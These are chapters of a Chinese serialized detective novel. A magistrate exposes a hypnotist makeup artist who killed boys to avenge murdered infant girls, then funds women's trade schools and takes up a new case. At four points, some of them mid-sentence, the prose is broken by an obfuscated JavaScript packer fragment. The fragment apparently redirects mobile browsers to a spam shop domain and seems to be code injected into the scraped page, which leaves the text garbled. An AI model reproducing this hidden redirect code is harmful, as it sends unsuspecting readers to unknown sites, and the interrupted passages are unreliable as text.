衙役领命而去,云水谣对元景佑道:“咱们去吴芷秀家看看。” 云水谣觉得有些奇怪。既然这吴芷秀没有武功,她怎么知道有人在跟踪监视她?如果她没发现有人跟踪,为何要逃跑? 很快,她们就到了吴芷秀家中,这里果然人去楼空。一切陈设都如常,也没少了多少常用之物,看来吴芷秀是很快打包了一些生活必需品,就离开了,并没有时间慢慢收拾。 云水谣一边观察,一边跟元景佑说道:“吴芷秀偷偷离开,是否可以证明她就是婴鬼杀人案的真凶,所以她逃走了?” 元景佑道:“我觉得有可能。” “可是,她为什么早不走,晚不走,偏偏在今天走呢?” “我想,她可能也从街坊邻居那里听说了另有两起婴鬼杀人案发生。她猜测大人您一定忙于新案子,顾不上她这边,所以她现在离开是最好的选择。” “可是,她足不出户,从哪听说这件事?” “我跟踪她这些天,发现她有时候也会坐在门口。大门虽关着,但门外的声音也是能听见的。” “原来如此。可惜今日并未下雨,不然便可以观察她的脚印,看她到底去哪里了。” “她就算逃走,也出不了城。大人已吩咐全城戒严,她一到城门口就会被抓的。” “这倒未必,她既然精通化妆,说不定能把自己化成另一副模样,守城的士兵未必看得出来。” “那该如何?” “让我想想……我总觉得自己忽略了什么。对了景佑,你找几个衙役去附近的街道问问,看有没有街坊邻居见到吴芷秀离开。” “是。” 过了半个时辰,景佑回来道:“大人,四处都问了,并没人见到吴芷秀离开。” “现在是下午时分,街上热闹得很,吴芷秀是如何躲过这么多人的耳目,悄悄离开的?” 元景佑道:“除非她能飞檐走壁。” “不,之前你试过了,她并不会武功。” “那就奇怪了。” “我猜,也许她根本没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14014567|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有离开。” “什么?!” 云水谣用眼神示意元景佑低声,然后悄悄说道:“也许,她躲在家里的某个角落,让我们以为她离开了。我们找几天找不到,自然就顾不上她了。毕竟我身为县官,要管的事情很多,不可能时时刻刻盯着她一个人。” “大人所言也有道理,那我们仔细找找。” “嗯,你带上几个机灵的衙役,把吴芷秀家仔细翻翻,记得放低声音。” “是。” 元景佑和衙役们私下搜寻,云水谣也仔细寻找起来。 吴芷秀独居,是以她租的房子并不大,很快就逛完了。 元景佑等人把衣柜、桌子、床、箱笼找了又找,一无所获。 云水谣忽然想到了什么,指了指地下。 于是,他们开始摸着地板,看看有什么异常。 终于,元景佑发现了一处机关。他打开机关,一块地板平移开去,底下竟有个地窖。 云水谣点燃火折子,往里面一照,赫然见到吴芷秀端坐在下面。 吴芷秀见地窖门被打开,有些惊慌,随即恢复了镇定:“云大人,您怎会来此?” 云水谣笑道:“本官也想问你,为何躲在地窖里?” 吴芷秀淡淡道:“这房子是我租的,我爱待在地面上,还是躲在地窖里,似乎都是我的自由。” “是吗?本官有事找你,是你自己上来,还是本官下去?” “民女怎敢劳动大人,请大人稍等,民女这就上来。” 说着,吴芷秀冷静地走了上来,甚至还搬了凳子给云水谣坐。 云水谣问道:“吴芷秀,本官最后再问你一次,之前那些婴鬼杀人案,跟你有没有关系?” “我只是目睹了其中几个小孩的死亡,至于其他关系,是没有的。” “看来,你是不打算承认了。这是本官给你的最后一次机会。” “大人似乎断定我是凶手,那还问什么?县官断事,可以如此武断吗?” “从许多线索来看,你都脱不了干系。就比如,你在孙家给白姨娘化妆时,她为何会失忆一段时间?” “这我不清楚。她失忆,您该问她才是。” “可当时,屋内只有她和你两个人。她短暂失去意识,在那段时间,你想去做什么都可以。” “我是个妆娘,只知道给人化妆,其他事我做不来。” “如果你不心虚,为何要躲在地窖里,让我们以为你已经逃走了?你是想等我去忙其他事了,你再从地窖中逃走吧?” “大人何出此言?我只是喜欢地窖罢了。” 见吴芷秀巧言辩解,云水谣似乎有些恼怒。 云水谣让其他人先退到屋外,又给元景佑使了个眼色。 等屋里只剩下云水谣和吴芷秀两个人时,云水谣忽然掏出一把匕首,架在吴芷秀脖子上,有些恼怒地说:“既然你坚决不认罪,本官只好出此下策了。” 吴芷秀勉强笑道:“大人莫非要杀了我?” 49.摄心神县令失魂魄 憎世道妆娘制凶案 她的声音已经有些颤抖。 云水谣道:“你看我敢不敢?” “大人,您这样做可是违法的。” “此处只有你我两人,且外面都是我的人,又有谁会说出去?本官虽不知道你具体的杀人手法是什么,但可以断定,你十有八九是真凶。” 说着,云水谣的匕首已经把吴芷秀的脖子划开了一道口子,鲜血流了出来。 这时,吴芷秀忽然看着云水谣的眼睛。她的双眼就像两个黑色的漩涡,把人的注意力全部吸了进去。 只听吴芷秀道:“看着我……把刀放下……坐在椅子上不要动……” 云水谣似乎失去了意识,真的听吴芷秀的话,放下了刀,坐在椅子上一动不动。 吴芷秀观察了一会,见云水谣表情呆滞,眼神涣散,便拿起行李,悄悄走到后门,准备逃走。 谁知,她一打开后门,就发现元景佑在这里等着她。 只听元景佑道:“吴妆娘,你想去哪里?” 吴芷秀有些惊慌,但随即她想再次如法炮制,便盯着元景佑的眼睛。 元景佑早有防备,拿出一块黑色的布条,把吴芷秀的眼睛蒙住,又点了她的穴道,使她无法行走,瘫坐在地。 接着,元景佑走到云水谣身边,用力摇了摇她,叫道:“大人!大人!快醒醒!” 然而,云水谣没什么反应。 元景佑干脆捏住了云水谣的鼻子,并捂住她的嘴,使她无法呼吸。接着,云水谣的眼睛骤然睁大,醒了过来,本能地把景佑的手打开,大口呼吸着。 云水谣问道:“景佑,方才发生了什么?” “我在屋外看着,吴芷秀一直盯着您的眼睛,然后您的反应就变慢了。她叫您放下刀,坐在椅子上,您也都听从她的指令。您的眼睛虽未闭上,但整个人看起来萎靡不振,像失了魂似的。她收拾东西准备逃跑,您也没有任何反应。据我观察,这种手法像是催眠。” 云水谣惊讶:“催眠?有这么厉害吗?我以前见到的催眠,都是有睡眠障碍的人求助于大夫,大夫用一些方法让他们入睡而已。可听你方才所言,我竟是对吴芷秀言听计从。” “是的大人,还好她刚才没叫你伤害自己,否则后果不堪设想。” 被蒙住眼睛的吴芷秀冷笑道:“我没那么下作,不会伤害无辜之人。” 云水谣问道:“所以,你真的会如此厉害的催眠术?” “没错。” “我终于知道你是如何杀人的了。只要你见到那些小男孩,就能催眠他们,让他们别动,他们就不动,完全听你的摆布。所以,你要在马桶中溺死他们,或是绑住他们的手脚,把他们推到水里,他们都不会有任何挣扎。” “没错。云大人刚才用刀架在我脖子上,就是想逼我使出保命的手段吧。” 云水谣:“没错。我早就猜测你拥有一些不为人知的技能,只有在生死关头才会暴露。之前我让景佑乔装成黑衣杀手去刺杀你,由于事出突然,你来不及反应,所以才没对他使用催眠术。且他刺杀的动作太快,而你催眠需要一定的时间,用催眠术来对付刺客也不太合适。 “但是,景佑并未伤害你就离开了,这令你感到很奇怪。聪明的你很快想到,也许这个黑衣杀手是来试探你的,也许他就是我派来的。所以,我把你放走后,你觉得有些蹊跷,猜测我可能会派人跟踪你。你就干脆一直闭门不出,让跟踪的人一无所获。我猜得对吗?” 吴芷秀笑道:“大人,你猜得对极了,一点也不差。我没有武功,所以我没法准确判断出,跟踪我的人在什么位置。我一开始的打算是,只要我窝在家里,什么也不做,你们找不到我的破绽,自然不会再盯着我。可没想到,就在我归家的第四天,又发生了两起婴鬼杀人案。 “我当时坐在门口,听街上的百姓谈起这事,心里很兴奋。我不知道这两起案子的真相是什么,但总之不是我做的,也许可以洗脱我的嫌疑。我没有出门,可案子又发生了,也许你们会觉得之前的案子也跟我无关,是错怪了我。 “然而,我低估了你,云县令。你的破案速度太快了,我听说你已经找到了后两起婴鬼杀人案的真凶。也就是说,后面的两起案子跟前面的案子是相互独立的,没法证明我的清白,你还是会继续盯着我。 “我觉得,继续闭门不出不是办法,我总不能不再给人化妆了吧?那我就没有收入了。可是我一旦去给人化妆,就忍不住趁此机会打听别人的过去,产生杀人的想法和冲动。而这些,自然不能被你的人看到。所以,我才想逃走,换个地方生活。 “可是,直接逃走并不容易,而且有可能被抓到。我想了一个办法,就是先躲在地窖里,让跟踪我的人以为我已经逃了,你们便会满世界追捕我。可是,县里事务繁杂,你不可能一直盯着我这一头。等风头一过,没人再关注我时,我再从地窖中出来,悄悄离开。可是没想到,我的这一计策,也被你识破了。不怕告诉你,其实今日盯着我的那个衙役,不是他自己打盹,而是我给他催眠,让他入睡的。他的武功没有元景佑和其他衙役好,他在屋顶上走动时脚步重,我听见了。所以,我趁他盯着我时,我也盯了回去,对他使用了催眠术。” 云水谣问道:“你的催眠术是从哪里学来的?” “从我师父那里。” “你的杀人手法我已经知道了,那么你是如何得知那些百姓家中女婴的死法的?” “我也是在催眠时问出来的。每次去给人化妆,我都会将客户催眠,询问她家是否有杀女婴之事。如果有,是如何杀的。如果没有,那她是否知道别人家有杀女婴之事。有些人家并未杀过女婴,也不知道附近有没有杀女婴之事。但是总有些客户知道一些。在催眠状态下,她们会对我吐露实情,所以我掌握了大量女婴的死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14024108|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法。如果那些杀过女婴的人家,恰好有未成年儿子,我会如法炮制,让他们家的儿子同一死法。” “原来如此……可你为何要杀死这么多人?你知不知道杀人要偿命?” 吴芷秀凄然一笑:“我自然知道杀人偿命,所以我散布了婴鬼复仇的传言,就是要让百姓们以为,这些孩子的死是婴鬼复仇,而非人为。这样,我杀死的人越多,嫌疑反而越小。因为,百姓会认为,只有超自然的力量,才能让这么多男孩得到精准的死法,而无人发现。至于我为什么杀人……大人难道不觉得,这些男孩本就该死?” “何出此言?” “既然那些百姓可以随便杀死自己的女儿,那我也可以随便杀死他们的儿子,这很公平,不是吗?” 云水谣终于猜到了吴芷秀的杀人动机:“所以,你认为自己在替天行道?” “是啊,既然上天不公,那就让我来维持这世间的平衡。世间男女数量本该相当,可由于人为选择,很多该活下来的女婴没有活下来。既然女婴数量过少,那男孩的数量也不该这么多才是。” “那些杀女婴的父母固然有错,可你这样的行为,也不是正义的。” “大人是不是想说,我简直丧心病狂?可是,如若您看过我的身体,就一定能理解我。” 说着,吴芷秀伸手去解腰带。 想起这屋中还有几个男人,云水谣想阻止她的行为。 元景佑的反应却更快,他根本不相信吴芷秀想脱衣服,而是认为吴芷秀的腰带中说不定藏了暗器。因此,他扔出一枚石子,打在吴芷秀手部的穴位,让她的双手无法动弹,解衣的动作自然也没法完成。 吴芷秀现在全身都不能动了,她的声音也低了下去,哀求道:“云大人,我很想让您看看我的身体,我对您没有恶意,也不是有什么特殊的癖好。总之,就当是在我临死前,满足我最后一个心愿,可以吗?” 云水谣想了想,觉得吴芷秀的双眼被黑布蒙住了,她应该没法再施展催眠术。且她全身穴道被点,也没法做出什么伤害别人的举动。 因此,云水谣便让元景佑和几个衙役出去,她自己走到吴芷秀面前,掀开了她的衣服。 一掀开,云水谣就呆住了。吴芷秀的身体非常怪异。她身上有很多坑坑洼洼的凹陷处,像是肌肉缺失。缺失处发黑,有很大的疤痕,其他地方的皮肤却十分白皙细嫩。 这样的凹陷处,遍布她全身,而且每一处凹陷都是不规则的,看起来很难看。 就像是一个白萝卜,被咬了几口,缺失的地方涂上了黑色颜料一般。 她原本的身躯应该是很曼妙的,可由于身上遍布这些凹坑和伤疤,反而让人不敢多看,一看就生出厌恶、害怕的情绪。 云水谣虽极力克制自己,可这些情绪难免也会流露出来。 她赶紧替吴芷秀穿好衣服,问道:“怎会如此?” 50.善缘结善果 离人感离情 吴芷秀发出讽刺的笑声:“我刚出生,就被我父母丢在郊外,被恶狗啃食,所以身上才留下这些疤痕。我师父当时是西域大夫,途径洛县,发现我还有一口气,便把我捡了回去。她虽然把我养大,可我身上被野狗咬过的地方,始终是凹陷的,有很难看的疤痕。 “我原本不用经历这些,是我父母,因为我是个女孩,便把我丢弃,让我差点被恶狗吃掉。虽然我最后活下来了,却因为身上的疤痕,生不如死。时隔二十年,我再次回到洛县。我不知道我父母是谁,但我知道,像我父母那样丢弃女婴、杀害女婴的人,都该死。然而,让他们死,太便宜了。我要杀死他们的儿子,让他们每一天都生不如死。” 云水谣叹息:“怪不得你要做这些事……可丢弃你的是你父母,你要复仇也应该找他们。” “我不知道我父母是谁,也不知道他们是否还活着。所以,我自然只能找别人复仇。那些杀死女婴的人,跟我父母属于同类人,我向他们复仇,也没错。” 云水谣道:“我很同情你的遭遇,可你认为自己没错?” 吴芷秀:“就律法而言,杀人偿命,这没得说。可是让那些百姓的儿子死去,这也是他们应得的报应。从这个角度来看,我没错。如果这世上真有婴鬼,她们应该也希望自己的兄弟如此死去。” 云水谣很难去评价她的对错,因此没有说话。 谁知,吴芷秀口中却流出黑血。 云水谣急道:“怎么回事?” 吴芷秀笑道:“我师父教我化妆术,是为了让我能自食其力。她后来又教我催眠术,对我说,这催眠术很厉害,我绝不可以用来害人,否则就要以死赎罪。如今,我也该去见我师父了……” 她的声音越来越微弱。 云水谣道:“你在牙齿间藏了毒药?” 吴芷秀没有回答,含笑而死。 云水谣不知道她为什么笑,也许是觉得自己终于解脱了吧。或者她觉得,凭她一个弱女子,能杀死四十余个男孩,已经够本了。 云水谣心中十分悲凉。她先叫元景佑等人寻一处僻静之地,将吴芷秀的尸体安葬了。 然后云水谣回到县衙,将婴鬼杀人案的始末整理了一番,上报长官,下复黎民,让受害人皆知这些案子乃是人为,并非鬼神之力,让他们不必再恐慌。同时,云水谣也训诫他们,不得再伤害女婴或是抛弃女婴,若是家中确实有困难,请寻找官府帮忙,否则严惩不贷。 被害人的父母们,都对妆娘吴芷秀深恶痛绝,有些人还找上县衙,想要得到吴芷秀的尸身,戮尸以泄愤。 云水谣回绝了这种请求,只说吴芷秀已认罪伏诛,此事到此为止。 新丰钱庄的东家孙修明,送了锦旗和礼物来到县衙,对云水谣道:“大人,多谢您找出小儿被杀的真相,之前小人说过,只要您能帮助找出真凶,小人便任您差遣。敢问县令大人可有需要小人效劳之处?” 云水谣一开始去孙修明家,是为了向他们钱庄借钱,发展女□□业的。可如今发现孙修明曾为了一己之私,残忍杀害亲女。跟这种人合作帮助女性的项目,不是挺讽刺的吗? 可如今除了孙修明之外,确实很难找到其他民间富户合作。便是有愿意合作的富户,也没有孙修明这样的家私。 正在为难之际,柳依依也带着家仆们送礼来了。 柳依依道:“大人,多谢您查清了我表弟死亡的真相,我……” 云水谣忽然灵光一闪,拉过柳依依,问道:“我有一件事,需要向你借钱,可以吗?” “但凭大人吩咐。” 听闻此言,云水谣心中安定了下来。她跟孙修明说了几句场面话,便让他离开了,只收了锦旗,礼物也没收。 接着,云水谣跟柳依依进入客厅,说了自己需要筹钱开设女子技能学校、增加女性就业岗位之事。 没想到,柳依依闻之大喜,道:“这也正是民女想做之事,若由大人起头,民女愿出资金。” “这笔钱算是官府向你借的,等县里的女子们都有工作了,会拿出她们工钱的一部分还给你,直至还清为止。” “这都是小节,云大人不必挂心。我家的钱庄虽无新丰钱庄那么大,但家中父母还做些别的生意,论起家资,是不输其他富户的。我大约能拿出白银四十万两,若向父母及夫君借钱,还能再凑一些,不知是否足够?” “我想,有四十万两应该够了。只是,你出了这笔钱,手里是否还有钱?” “自然还有,大人不必为我担心。” “依依,你出了这笔钱,可是洛县的大功臣。不知你想要什么回报?” “我与大人志同道合,且一向仰慕大人才华,如若大人不弃,依依愿为大人之友。” “自然可以,我心里早就把你当朋友了。” 柳依依既开心且激动,握住了云水谣之手,道:“其实我父母因经商之故,交游广阔,我也认识了许多年纪相仿的姑娘。只是,真正投缘者甚少。后来见到大人您,却觉得十分投契,可惜身份有别,不敢乱攀关系。如今可算是如愿了。” 云水谣笑道:“依依聪慧善良,秀外慧中,我也很欣赏你。对了,你的户籍是否还在洛县?” “不是,我既已嫁到平州,户口已经迁到平州去了。” “我本想让你单独立户,为本县乡绅,有资格参闻政事。但你户口不在这里,这就难办了。” “可否将这项福利分给我母亲?她的户籍还在洛县。” “也好,那我就允你母亲单独立户,归为乡绅。” “太好了,多谢大人。” “依依,以你的功劳,可以要更多回报。城南有块土地要建设,即将竞标,我看就取消竞标,直接交给你家去开发吧。另外,你若识文断字,可以在我身边做个小吏,由我发工钱。” 柳依依有些惊喜:“大人,我是女子,也可以当小吏吗?” “我既能当县令,你为何不能当小吏?这点小事,我还是能自己做主的。只是你已成亲,平时长居夫家,若偶尔回洛县来,便可到衙门来帮我做事。其他时候,可以只领工钱,不必前来点卯。” “大人有所不知,我虽已嫁人,但因夫君身体有疾,很难生育,所以婆家对我约束甚少,只要我不提和离,怎么着都行。我若要长居洛县,婆家也不会有什么意见的。蒙大人抬举为小吏,我还是想像其他小吏那样,为衙门干点实事。” “如此甚好,只是让你夫妻分离,恐怕不美。” “我可以修书一封,让我夫君想我时来洛县找我,不一定非得我去找他。” “那便好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14033192|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从此,柳依依便成了云水谣身边的小吏。 云水谣也用柳依依提供的资金,开设了女子技能学校,聘请各行业的老师傅来教课。有些老师傅不愿意让本行技能外传的,也不勉强,只聘请那些愿意来的。 另外,云水谣招商引资,引进更多外地人来洛县开店铺,增加就业岗位。 同时,开设慈幼园,让不能自理的老人、孩子住进来,由官府聘请一些有耐心的女子前来照顾。 这样,这些老人、孩子的家人,便可以无后顾之忧地外出工作了。 另外还专门划定了几条街为集市街,供女子摆摊之用,这样一些家资不厚的女人,也可以做点小买卖了。 一段时间后,有许多家庭妇女都得到了工作。按照约定,她们拿出一部分收入,交给官府。而云水谣再把这部分钱还给柳依依。 每次凑来的钱并不多,还钱周期很长,但柳依依并不介意。有时候遇上收入不高的女人,柳依依会主动延迟她们交钱的时间。 因柳依依和云水谣的目的一致,都是让这些女人能够自立,而非是以此谋利,因此给了普通女性更多的成长时间和空间。 一时间,政通人和,百姓们都对云水谣评价很高,还有一些民间文人写诗词歌赋歌颂云水谣。 这些举措,虽然没有惠及洛县全部女性,但也有相当一部分女人得到了想要的生活。 云水谣打算,如果这些政策推行得不错,以后可以增加更多对女性有利的政策。 云水谣的长官雍州刺史看了云水谣的书笺之后,回信称赞云水谣的婴鬼杀人案办得不错,并且听说云水谣在洛县推行有利于女性就业的政策,勉励她继续努力。 云水谣又写了一封书笺,说如今的律法对于父母杀婴一事,没有明确的判决,因此婴鬼案中许多杀女婴的父母没法得到相应的惩罚。能否请长官上书皇帝,修改这一律法。 雍州刺史回信说,修改律法事关重大,并非是他这个品级的官员所能提出的。云水谣若真想修改,等将来成为朝廷大员之时,自可向圣上提出,如今还是安心处理好洛县政务便可。 收到这封回信,云水谣更加坚定了要升官的愿望。不止是为了救出流放的家人,也是为了能有修改律法的提议权。 一转眼,便到了即将过年的时候。 元景佑要回京去跟他父亲一起过年,临走前对云水谣说:“大人,等我回来了,会带京城特产给你。” “好,你去吧。特产可要多带些,我好久没吃了。” “没问题,每样特产给您带一车,怎么样?” “牛也吃不了这么多吧?” 景佑笑了笑,骑马而去,黑色的玄狐披风在寒风中猎猎作响。 云水谣的眼睛就像长在他身上似的,一直看着他。景佑似有感应,回头朝云水谣一看,云水谣对他挥了挥手。 很快,元景佑的身影就看不见了。 云水谣觉得有些失落,但她跟元景佑只是上下级关系,如今接近年关,总不能不让他回家过年吧。 他长年漂泊,好不容易才找到亲人,团聚的时刻又很少,大部分时间都陪在云水谣身边。 云水谣调整了心情,正准备走回门内,忽然听见一阵马嘶。 她回头一看,见景佑骑在乌骓马上,默默地看着她。 51.旧友重逢转悲为喜 案件再发东奔西走 云水谣惊喜道:“景佑,你怎么回来了?” “我有东西忘了拿。” 说着,元景佑翻身下马,跟云水谣一起走进屋内。 他从桌上拿了根笛子,道:“路上无聊,可以吹笛子。刚才整理出来了,但忘了带上。” 这根笛子是云水谣给元景佑买的,有一次她们一起逛集市,有个摊子上刚好剩下最后两支笛子,云水谣便一起买了,送了元景佑一支。 其实云水谣不会吹,只是买了当装饰品,没想到元景佑会吹。因此,闲暇时,云水谣经常让景佑吹曲子给她听。 见元景佑特意跑回来拿这根笛子,云水谣心中一动,笑道:“不过是一根笛子,不带也成。” 景佑看着笛子,似有所指:“我能带走的也只有这根笛子了。” 云水谣觉得他话里有话,便笑着转移话题:“临走前能再给我吹一曲吗?” “好。” 景佑把笛子放在唇边,吹了一首《伤离别》。曲音悠扬,带着淡淡的哀愁,仿佛是旷野的风,一直漂泊着,找不到回家的方向。 云水谣静静听着,没有说话。而景佑想说的话,似乎都在这首曲子当中了。 一曲吹毕,景佑道:“大人,我走了。等假期结束,我会回来。” 云水谣淡淡道:“嗯。” 明明只需分别十几日,但云水谣却觉得一刻也忍不了。但她不能把这种心情表现出来。 元景佑道:“大人,其实您也可以一起回京。” “回京……我的家已经没了。” “您可以去我家过年。” “算了,这样不合适。你去吧,反正很快就会再见面了。” 元景佑眼中也有几分不舍,但他心中也记挂着远在京城的父亲,因此还是踏上了回京的旅途。 其实云水谣也想跟他一起走,但想到自己家道中落,家人们还被流放到了岭南,等着她升官才能得救,云水谣便失去了回京的心情。 京城是她的伤心地,下次回去,必得是衣锦还乡才行。 两个丫环兰心、彩月是陪着云水谣一起长大的,原本也是昌平侯府的丫环,后来侯府被抄家,她们俩是所有下人中唯二幸存的,因此她们的心情也跟云水谣一样。 但是,她们不能流露出伤感的神色,以免云水谣更加伤心。 她们做了许多好吃的,还扎了红灯笼,挂在门前,添了几分喜庆。 兰心对云水谣说道:“小姐,今年过年虽然只有咱们三个,但该有的仪式感也不能少。奴婢去买几个炮竹,等除夕和大年初一那天放。” 云水谣笑道:“也好,只是别买太大的,我害怕。” 彩月道:“小姐,来尝尝我和兰心做的饭菜。” 云水谣不忍拂了二人的好意,便拉着她们坐下,三人一起大吃了起来。 兰心道:“小姐,别看今年人少,说不定到了明年过年,您的家人都回来了,一大家子热热闹闹的。” 云水谣笑道:“别胡说了,我得成为女相才能救回家人。如今我不过是个七品县令,便是坐上炮竹,也没升得这么快啊。” 彩月道:“明年不行,后年一定行了。小姐就是最厉害的。” 云水谣虽然知道她们是在宽慰自己,但听她们这么一说,心情也轻松了一些。 这时,门口传来一个娇俏的声音:“你们吃好吃的不带我!” 云水谣往门口一看,见自己的好友孟荀来了。 孟荀今日未着官服,而是穿了一身鲜艳的红衣,梳着双环髻,头戴金凤钗,言笑晏晏,高贵大方,尽显贵族小姐的气度。 云水谣笑道:“你也休假了?” “是啊。” 孟荀边说边走了进来,随手拿起一双筷子,就往嘴里夹菜。 云水谣道:“马上要过年了,我虽想着跟你见一面,但觉得你必定是要回京城跟父母一起过年的,因此就不找你了。没想到你自己找过来了。” “你说得对,我确实要回京。不过嘛,我找了个人来陪你过年,免得你太孤单了。” 说着,孟荀朝门外大喊:“表哥,你快点进来呀!磨磨蹭蹭的。” 话音未落,游击将军杜羽便牵着一匹枣红色的马走进了院子,笑道:“不是我磨蹭,是这马要吃外面的草,耽搁了一会。” 说着,他便将马绳拴在柱子上,也走进了屋中。 两个丫环赶紧起身,把座位让给杜羽和孟荀,又去拿了两副干净的碗筷来,给他们二人用。 杜羽清瘦了几分,脸上也长出了细细的胡茬,看来这段时间过得有些辛苦。 云水谣问道:“杜将军最近在忙什么?” “受朝廷征召,跟盐枭们打了几仗,前两日刚刚回来。” 杜羽说得轻描淡写,但云水谣知道,他一定打得很费劲。 云水谣的父亲以前也跟盐枭打过,说是盐枭非常凶恶,他险些就丧命了。 孟荀对云水谣道:“表哥掌管金缕营,如今接近年关,附近人员流动大,正是事端多发之时,所以他过年不放假,要留在洛县,你们倒正好做个伴。” 云水谣笑道:“只要杜将军不嫌我这儿的饭难吃,可以每天来蹭饭。” 杜羽道:“那就多谢云大人了,不过军营中有一些公务,我未必能每日前来。” 孟荀道:“表哥没空来,阿谣可以去找他呀。” 云水谣笑道:“这不合适吧?” “有什么不合适的,我看你们俩合适得很。” 孟荀这话似乎还有别的意思,云水谣笑着打了她一下,示意她别乱说。 而杜羽恰巧看了过来,眼中含了三分笑意,如同太阳一般明朗,云水谣不敢跟他对视。 云水谣跟杜羽虽说不上熟悉,但是之前杜羽曾经帮过她,所以她对杜羽也是比较有好感的。再加上他又是孟荀的表哥,云水谣心中也多了几分亲近之意。 今年过年只剩自己,若有杜羽相陪,可以减少孤单之感。至于其他的,云水谣没有多想,也暂时不愿多想。她现在心里只有一件事,就是早点升官。 孟荀从包袱里拿出两个苹果,递给云水谣和杜羽:“你们一人一个苹果,代表过年平安。” 云水谣笑道:“你还信这个?” “讨个好彩头嘛。” 云水谣接过苹果,放在一边。杜羽却把苹果啃了几口,道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14043446|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不甜。” 孟荀有些不高兴,说道:“表哥,这个苹果代表平安,所以是不能吃的。” “你规矩倒多,我就不信,吃了这苹果难道便有事端不成?” 这时,却见县丞林复急匆匆跑进来,对云水谣道:“大人,有件事需要您拿主意。” 云水谣忙站起身来,问道:“何事?” 衙门里已经放假了,每日只有两三个官吏值班,其余人等都可以回家。所以,不是很要紧的事,林复不会找上门来。 只听林复道:“昨天晚上,有几个村民来报案,说他们村有七个妇女失踪。当时是属下值班,我便叫几个衙役帮着村民寻找。可直到今天,人也没找到,因此属下特意来问问大人,是现在帮着找人,还是年后再说?” 云水谣道:“如今县里还有多少人手可用?” “有三分之一的衙役和官吏回了老家,离洛县较远,剩下的都是本地人,可以召集。” “那就马上召集十五个衙役,随本官一起去寻人,不可等到年后。失踪者虽只有七个,但对她们自己的家庭来说,也是大事,本官不能懈怠。” “是。” 杜羽道:“我的军营中养有军犬,用于寻人再好不过。我现在回军营,叫人送几只军犬来。若有其他需要帮忙的地方,云大人尽管派人来找我。” 云水谣敛衽一礼:“那就多谢杜将军了。” 云水谣本想马上出发,但又觉得还是先等杜羽的军犬送到,再去寻人不迟。 军犬的鼻子很灵,带上军犬事半功倍,也不急在这一时半刻的。 杜羽马上骑上马,往军营而去。 孟荀道:“阿谣,我也跟你同去。” 云水谣道:“你不是要回京跟家人团聚吗?不必为我多逗留,想必你的家人都很盼着见到你呢。这个案子也不大,且在我洛县境内,我想我能把它处理好的。” 孟荀想了想,觉得云水谣言之有理。外地官员过年的探亲假只有十二天左右,算上来回的时间,她能陪伴父母的时间并不多,确实不宜耽搁。因此,她便在云水谣的目送中,骑上快马出发去京城了。 云水谣继续在家中等待军犬到来,却等来了一个另一个客人——柳依依。 柳依依提着一些礼盒,送给云水谣,道:“大人,我提前给您拜年了。过几日便是新年了,我可能会比较忙,没法跟大人相聚。” 云水谣忙接过礼盒,向她道谢。接着便说起有几个村妇失踪之事,柳依依便说道:“大人,让我跟您一起去调查吧。我如今既为小吏,也该为官府出点力。” “但是找人也许要去荒山野岭,你可能走不动。” “大人都能走,我为何不能?以前我确实缺乏锻炼,但现在既然决定认真做事,就不能怕辛苦了。我若想享乐,就不会答应来做小吏了。” 见柳依依如此有决心,云水谣心中也很高兴。她给柳依依的本是荣誉职位,可以不点卯、不听调用,只拿工钱。以她对洛县的贡献,这样的待遇也当得。但柳依依却不愿领空饷,而愿做事,令人敬佩,云水谣也觉得自己从此多了一个得力下属。 又过了一个多时辰,只听门外传来异响。 52.军犬寻人跃跃欲试 村民脱力昏昏欲睡 云水谣出门查看,原来是杜羽的下属骑马到了房门外,身后还跟着三条军犬。马嘶声伴随着犬吠声,怪不得声音怪异。只见这三只军犬全是威风凛凛的大型犬,双目闪着精光,看着就很机灵。 下属道:“云大人,我奉杜将军之命,送来三条军犬。为免它们在路上奔跑,消耗体力,我是将它们关在有轮子的笼子里,用马拉过来的。这会它们生龙活虎的,帮忙搜寻三四个时辰不成问题。还有这一大袋牛肉,是用来喂养它们的,大人可叫人随身携带。” 